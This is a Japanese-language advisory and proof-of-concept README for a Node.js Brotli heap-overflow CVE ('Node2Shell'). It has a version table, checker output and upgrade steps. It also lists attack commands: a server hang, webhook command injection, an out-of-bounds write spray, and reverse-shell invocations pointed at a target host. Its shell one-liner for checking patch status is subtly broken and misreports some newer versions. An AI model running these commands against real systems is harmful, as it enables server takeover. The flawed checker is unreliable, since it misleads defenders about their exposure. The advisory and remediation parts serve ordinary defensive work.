
CVE-2026-111497(Node2Shell)に関するアドバイザリと概念実証ツールキットです。Node.jsにおけるBrotliヒープオーバーフローであり、トリガースクリプト、バージョンチェッカー、および修復ガイダンスを含みます。
Node2Shell
CVE-2026-111497 に関する包括的なセキュリティアドバイザリ、技術分析、および修復ガイド
2026年10月に公開された Node2Shell (CVE-2026-111497) は、Node.js ランタイムバイナリに直接バンドルされているネイティブ Brotli 解凍コンポーネントに影響を与える重大なセキュリティ脆弱性です。
この欠陥により、リモート攻撃者は、圧縮入力を処理する任意の Node.js アプリケーション(例: HTTP リクエストボディパーサー、ネイティブの fetch() 呼び出し、WebSocket ストリーム)に対して、細工された不正な Brotli 圧縮バイトストリームを送信することで、任意のコードを実行したり、アプリケーションをクラッシュさせたりすることが可能になります。
⚠️ 重要な注意: 脆弱なコードは Node.js 実行ファイル自体にコンパイルされた
deps/brotli内に存在するため、ユーザー空間のnpm依存関係を更新してもこの脆弱性は緩和されません。Node.js バイナリランタイムを更新する必要があります。
deps/brotli)。Content-Encoding: br) が設定されたフレームワークやミドルウェア(例: Express、Fastify)。fetch()。zlib.createBrotliDecompress() を利用したカスタム Node.js ストリーム。| Node.js リリースライン | ステータス | 修正バージョン | 必要な対応 |
|---|---|---|---|
| Node.js 26.x | ⚠️ 脆弱 | >= 26.12.1 | 直ちにアップグレード |
| Node.js 24.x | ⚠️ 脆弱 | >= 24.22.1 | 直ちにアップグレード |
| Node.js 22.x (LTS) | ⚠️ 脆弱 | >= 22.23.4 | 直ちにアップグレード |
| Node.js 20.x 以前 | ❌ EOL | なし | サポート対象の LTS へ直ちに移行 |
🚨 EOL 警告: Node.js 20 は 2026年4月に End-of-Life (EOL) を迎えました。EOL バージョンには公式のセキュリティバックポートは提供されません。
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder
───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder
───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder
Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.
次のワンライナーを実行することでも確認できます:
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
-17 を返す → パッチ済みmissing を返す → 脆弱これはスクリプトが使用するのと同じチェックです。
# Python dependencies
pip install requests brotli
# Node server (webhook injection + eval paths)
npm install
node server-stock.js # port 3000
# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10
# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT
# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data
# Direct eval mode (server with /api/exec eval sink)
python Node2Shell.py -u http://TARGET --validate
python Node2Shell.py -u http://TARGET --cmd "id"
python Node2Shell.py -u http://TARGET --revshell LHOST LPORT
システムまたは実行中のコンテナが脆弱なバージョンの Node.js を実行しているかどうかを確認するには、次のコマンドを実行してください:
# Check installed local runtime version
node -v
# Audit running containers across a Kubernetes cluster / Docker environment
docker ps --format '{{.Names}}: {{.Image}}'
あるいは、Linux環境で次のワンライナーを使用して、現在アクティブなNodeランタイムが安全かどうかをテストできます:
node -e '
const v = process.versions.node.split(".").map(Number);
const safe = (v[0] === 22 && v[1] >= 23 && v[2] >= 4) ||
(v[0] === 24 && v[1] >= 22 && v[2] >= 1) ||
(v[0] >= 26 && v[1] >= 12 && v[2] >= 1);
console.log(safe ? "✅ Runtime is PATCHED" : "❌ Runtime is VULNERABLE");
'
nvm install 22.23.4
nvm alias default 22.23.4
nvm use 22.23.4
sudo apt-get update
sudo apt-get install --only-upgrade nodejs
明示的にパッチ適用済みのベースイメージタグを取得するように Dockerfile を更新します:
# ❌ VULNERABLE
FROM node:22-alpine
# ✅ PATCHED
FROM node:22.23.4-alpine
ローカルのコンテナビルドキャッシュをクリアして、キャッシュされた脆弱なベースレイヤーが使用されないようにします:
docker pull node:22.23.4-alpine
docker build --no-cache -t my-app:latest .